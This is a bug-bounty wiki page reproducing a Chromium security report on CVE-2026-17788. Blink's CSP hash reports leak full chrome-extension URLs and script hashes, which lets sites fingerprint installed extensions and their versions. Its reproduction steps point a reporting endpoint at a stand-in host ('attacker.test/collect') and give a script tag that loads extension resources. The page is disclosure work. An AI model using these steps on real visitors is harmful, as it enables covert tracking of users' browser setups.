Inappropriate implementation in Blink (CVE-2026-17788)
The CSP hash report body in Blink did not mark extension-originated reports as coming from an extension and did not strip the subresource URL, so reports triggered by chrome-extension resources could be sent to a web page's reporting endpoint. A malicious site could then learn which extensions are installed and, from the script hash, which exact version.
Google Chrome
Originally disclosed on Chrome VRP
- Fix shipped in 2 months
Project Fortify, an experimental security project, has identified the following potential security issue. If you're a feature owner CC-ed on this bug, please do your best to review these reports. Please see https://chromium.googlesource.com/chromium/src/+/main/docs/security/ai-generated-security-bugs-faq.md for more information.
Overview: The CSPHashReportBody class fails to override the IsExtensionSource method and lacks URL sanitization, potentially allowing malicious websites to identify installed extensions. By triggering CSP hash reports for chrome-extension:// resources, an attacker can exfiltrate full extension URLs and script hashes to a third-party endpoint.
Affected files:
third_party/blink/renderer/core/frame/csp/csp_hash_report_body.hthird_party/blink/renderer/core/frame/csp/content_security_policy.ccthird_party/blink/renderer/core/frame/report.cc
Estimated timestamp from git blame: 2024-12-06
Summary
A potential vulnerability has been identified in Blink's implementation of the CSP report-sha256 directive. Due to a missing security check override and a failure to sanitize subresource URLs, the Reporting API may leak the identities and exact versions of installed extensions to web origins.
Root Cause Analysis
Chromium utilizes a security gate in Report::ShouldSendReport() (third_party/blink/renderer/core/frame/report.cc) to prevent the disclosure of extension-originated URLs to web-controlled reporting endpoints:
bool Report::ShouldSendReport() const {
// Don't report any URLs from extension code.
return !body()->IsExtensionSource();
}
The IsExtensionSource() method is a virtual function in ReportBody that defaults to false. While other privacy-sensitive report types (like CSPViolationReportBody) override this via LocationReportBody, the recently added CSPHashReportBody (third_party/blink/renderer/core/frame/csp/csp_hash_report_body.h) does not. This allows reports triggered by extension resources to bypass the filter.
Additionally, in ContentSecurityPolicy::AddHashReportIfNeeded (third_party/blink/renderer/core/frame/csp/content_security_policy.cc), the subresource URL is included in the report body without being processed by StripURLForUseInReport(). This ensures that the full extension URL—including the unique extension ID and internal file paths—is sent to the reporting endpoint instead of being stripped to the scheme (e.g., chrome-extension).
Potential Impact
A malicious web page could potentially use this bypass to fingerprint a user's environment:
- Extension Identification: By attempting to load scripts from known extension IDs (e.g., via
web_accessible_resources), the site can confirm which extensions are installed based on whether a report is received. - Version Fingerprinting: The report includes the SHA-256 hash of the script, which can be compared against a database of known extension versions to determine the exact version installed.
Suggested Reproduction Steps
Note: These steps are based on code analysis; a functional PoC has not been executed.
-
Serve a web page with the following headers:
Reporting-Endpoints: r="https://attacker.test/collect"Content-Security-Policy-Report-Only: script-src * 'report-sha256'; report-to r
-
Attempt to load a known extension resource via a script tag:
JavaScript var s = document.createElement('script'); s.src = 'chrome-extension://[EXTENSION_ID]/[RESOURCE_PATH]'; document.body.appendChild(s); -
Monitor the reporting endpoint for a
csp-hashreport containing the fullchrome-extension://URL and the script's SHA-256 hash.
Recommended Fix
- Override
IsExtensionSource()inCSPHashReportBodyto returntrueif thesubresource_url_has an extension scheme. - In
ContentSecurityPolicy::AddHashReportIfNeeded, wrap theurlinStripURLForUseInReport()before passing it to theCSPHashReportBodyconstructor to ensure proper sanitization of non-web schemes.
Evaluated with Chrome root at commit: 1a8d40fc44df2088d5945c0bf53584038aa1614a
Results so far have been promising, but there can be wrong deductions. Feel free to adjust as follows:
- If you are familiar with the severity guidelines, you may adjust the severity.
- If this is a false positive, and there's no work to be done, please close as WAI.
- If there is work to do here but not a vulnerability, please change the issue type to Task/Bug/FR.
Data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the new CSPHashReportBody class did not override IsExtensionSource() and its subresource URL was not passed through StripURLForUseInReport(), so the existing extension filter and URL stripping were both bypassed.
Impact
A malicious page could potentially fingerprint which extensions a visitor has installed and their exact versions; the text notes the steps come from code analysis and no working proof of concept was run.
What the attacker needed
Victim visits attacker page; target extension exposes web-accessible resources; browser sends CSP reports to the page
The fix
The report body should mark extension-scheme sources as extension-originated and the subresource URL should be stripped before being placed in the report; the text does not say a fix has landed.
How it was found
- Serve a page that declares a reporting endpoint and a report-only CSP using the report-sha256 directive.
- Try to load a known extension resource with a script tag.
- Watch the reporting endpoint for a csp-hash report containing the full extension URL and the script hash.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Browsers can send a small report to a website when a page breaks a security rule called a content security policy. Normally the browser refuses to include addresses that belong to installed browser extensions, because that would reveal what you have installed. Here that check was missing for one kind of report, so a page could learn which extensions and versions a visitor has.
What is Info disclosure?
Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.